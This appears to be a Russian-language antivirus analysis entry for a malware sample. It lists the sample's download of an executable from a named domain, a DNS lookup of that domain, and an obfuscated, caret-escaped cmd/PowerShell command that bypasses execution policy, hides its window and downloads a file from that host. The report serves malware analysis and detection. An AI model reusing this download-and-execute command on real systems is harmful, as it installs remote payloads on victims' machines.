Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^oWerSHe^l^L.^EXE ^-e^x^e^C^U^T^ion^p^oLicy^ BY^P^Ass -^No^pR^ofil^e^ -^Wind^Ow^sTYL^e ^HiDDeN^ (new-oBjeCT ^Sys^TEm^.^nEt.We^bC^li^eN^t)^.^dO^WnlOAD^FILe('http://zofelaseo.top/...
Сетевая активность
UDP
- DNS ASK zo###aseo.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^oWerSHe^l^L.^EXE ^-e^x^e^C^U^T^ion^p^oLicy^ BY^P^Ass -^No^pR^ofil^e^ -^Wind^Ow^sTYL^e ^HiDDeN^ (new-oBjeCT ^Sys^TEm^.^nEt.We^bC^li^eN^t)^.^dO^WnlOAD^FILe('http://zofelaseo.top/...' (со скрытым окном)
